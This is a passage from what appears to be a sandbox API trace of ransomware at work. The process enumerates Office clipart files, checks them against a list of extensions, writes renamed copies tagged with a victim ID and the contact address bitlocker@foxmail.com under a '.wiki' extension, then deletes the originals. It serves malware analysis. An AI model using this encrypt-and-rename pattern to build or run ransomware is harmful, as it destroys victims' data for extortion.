(lpString=".doc") returned 4 [0188.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.179] lstrlenW (lpString=".docx") returned 5 [0188.179] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.179] lstrlenW (lpString=".pdf") returned 4 [0188.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.179] lstrlenW (lpString=".xls") returned 4 [0188.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.179] lstrlenW (lpString=".xlsx") returned 5 [0188.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.179] lstrlenW (lpString=".ppt") returned 4 [0188.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.179] lstrlenW (lpString=".zip") returned 4 [0188.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.180] lstrlenW (lpString=".rar") returned 4 [0188.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.180] lstrlenW (lpString=".bz2") returned 4 [0188.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.180] lstrlenW (lpString=".7z") returned 3 [0188.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.180] lstrlenW (lpString=".dbf") returned 4 [0188.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.180] lstrlenW (lpString=".1cd") returned 4 [0188.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.180] lstrlenW (lpString=".jpg") returned 4 [0188.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.180] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.180] lstrlenW (lpString="DD01772_.WMF") returned 12 [0188.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.181] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2300) returned 1 [0188.181] CloseHandle (hObject=0x200) returned 1 [0188.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0188.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.181] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.181] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.181] GetLastError () returned 0x0 [0188.181] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0188.183] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x900, lpOverlapped=0x0) returned 1 [0188.184] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.184] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.184] SetEndOfFile (hFile=0x1f8) returned 1 [0188.184] CloseHandle (hObject=0x1f8) returned 1 [0188.184] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.184] SetEndOfFile (hFile=0x200) returned 1 [0188.185] CloseHandle (hObject=0x200) returned 1 [0188.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0188.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.185] lstrlenW (lpString=".doc") returned 4 [0188.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.185] lstrlenW (lpString=".docx") returned 5 [0188.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.185] lstrlenW (lpString=".pdf") returned 4 [0188.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.185] lstrlenW (lpString=".xls") returned 4 [0188.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.186] lstrlenW (lpString=".xlsx") returned 5 [0188.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.186] lstrlenW (lpString=".ppt") returned 4 [0188.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.186] lstrlenW (lpString=".zip") returned 4 [0188.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.186] lstrlenW (lpString=".rar") returned 4 [0188.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.186] lstrlenW (lpString=".bz2") returned 4 [0188.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.186] lstrlenW (lpString=".7z") returned 3 [0188.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.186] lstrlenW (lpString=".dbf") returned 4 [0188.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.186] lstrlenW (lpString=".1cd") returned 4 [0188.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.186] lstrlenW (lpString=".jpg") returned 4 [0188.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.186] lstrlenW (lpString=".doc") returned 4 [0188.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.186] lstrlenW (lpString=".docx") returned 5 [0188.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.186] lstrlenW (lpString=".pdf") returned 4 [0188.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.187] lstrlenW (lpString=".xls") returned 4 [0188.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.187] lstrlenW (lpString=".xlsx") returned 5 [0188.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.187] lstrlenW (lpString=".ppt") returned 4 [0188.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.187] lstrlenW (lpString=".zip") returned 4 [0188.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.187] lstrlenW (lpString=".rar") returned 4 [0188.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.187] lstrlenW (lpString=".bz2") returned 4 [0188.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.187] lstrlenW (lpString=".7z") returned 3 [0188.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.187] lstrlenW (lpString=".dbf") returned 4 [0188.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.187] lstrlenW (lpString=".1cd") returned 4 [0188.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0188.187] lstrlenW (lpString=".jpg") returned 4 [0188.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.188] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.188] lstrlenW (lpString="DD01793_.WMF") returned 12 [0188.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.188] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3252) returned 1 [0188.188] CloseHandle (hObject=0x200) returned 1 [0188.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0188.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.188] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.188] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.189] GetLastError () returned 0x0 [0188.189] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xcb4, lpOverlapped=0x0) returned 1 [0188.190] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0188.191] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.191] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.191] SetEndOfFile (hFile=0x1f8) returned 1 [0188.191] CloseHandle (hObject=0x1f8) returned 1 [0188.191] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.191] SetEndOfFile (hFile=0x200) returned 1 [0188.192] CloseHandle (hObject=0x200) returned 1 [0188.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0188.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.193] lstrlenW (lpString=".doc") returned 4 [0188.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.193] lstrlenW (lpString=".docx") returned 5 [0188.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.193] lstrlenW (lpString=".pdf") returned 4 [0188.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.193] lstrlenW (lpString=".xls") returned 4 [0188.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.193] lstrlenW (lpString=".xlsx") returned 5 [0188.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.193] lstrlenW (lpString=".ppt") returned 4 [0188.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.193] lstrlenW (lpString=".zip") returned 4 [0188.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.193] lstrlenW (lpString=".rar") returned 4 [0188.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.194] lstrlenW (lpString=".bz2") returned 4 [0188.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.194] lstrlenW (lpString=".7z") returned 3 [0188.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.194] lstrlenW (lpString=".dbf") returned 4 [0188.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.194] lstrlenW (lpString=".1cd") returned 4 [0188.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.194] lstrlenW (lpString=".jpg") returned 4 [0188.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.194] lstrlenW (lpString=".doc") returned 4 [0188.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.194] lstrlenW (lpString=".docx") returned 5 [0188.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.194] lstrlenW (lpString=".pdf") returned 4 [0188.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.194] lstrlenW (lpString=".xls") returned 4 [0188.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.194] lstrlenW (lpString=".xlsx") returned 5 [0188.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.194] lstrlenW (lpString=".ppt") returned 4 [0188.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.195] lstrlenW (lpString=".zip") returned 4 [0188.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.195] lstrlenW (lpString=".rar") returned 4 [0188.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.195] lstrlenW (lpString=".bz2") returned 4 [0188.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.195] lstrlenW (lpString=".7z") returned 3 [0188.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.195] lstrlenW (lpString=".dbf") returned 4 [0188.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.195] lstrlenW (lpString=".1cd") returned 4 [0188.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0188.195] lstrlenW (lpString=".jpg") returned 4 [0188.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.195] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.195] lstrlenW (lpString="ED00010_.WMF") returned 12 [0188.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.196] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1382) returned 1 [0188.196] CloseHandle (hObject=0x200) returned 1 [0188.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0188.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.196] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.196] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.197] GetLastError () returned 0x0 [0188.197] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x566, lpOverlapped=0x0) returned 1 [0188.198] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x570, lpOverlapped=0x0) returned 1 [0188.199] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.199] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.200] SetEndOfFile (hFile=0x1f8) returned 1 [0188.200] CloseHandle (hObject=0x1f8) returned 1 [0188.200] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.200] SetEndOfFile (hFile=0x200) returned 1 [0188.201] CloseHandle (hObject=0x200) returned 1 [0188.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0188.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.201] lstrlenW (lpString=".doc") returned 4 [0188.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.201] lstrlenW (lpString=".docx") returned 5 [0188.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.201] lstrlenW (lpString=".pdf") returned 4 [0188.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.201] lstrlenW (lpString=".xls") returned 4 [0188.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.202] lstrlenW (lpString=".xlsx") returned 5 [0188.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.202] lstrlenW (lpString=".ppt") returned 4 [0188.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.202] lstrlenW (lpString=".zip") returned 4 [0188.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.202] lstrlenW (lpString=".rar") returned 4 [0188.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.202] lstrlenW (lpString=".bz2") returned 4 [0188.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.202] lstrlenW (lpString=".7z") returned 3 [0188.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.202] lstrlenW (lpString=".dbf") returned 4 [0188.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.202] lstrlenW (lpString=".1cd") returned 4 [0188.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.202] lstrlenW (lpString=".jpg") returned 4 [0188.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.202] lstrlenW (lpString=".doc") returned 4 [0188.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.202] lstrlenW (lpString=".docx") returned 5 [0188.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.203] lstrlenW (lpString=".pdf") returned 4 [0188.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.203] lstrlenW (lpString=".xls") returned 4 [0188.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.203] lstrlenW (lpString=".xlsx") returned 5 [0188.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.203] lstrlenW (lpString=".ppt") returned 4 [0188.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.203] lstrlenW (lpString="C:\\Program Files\\Microsoft 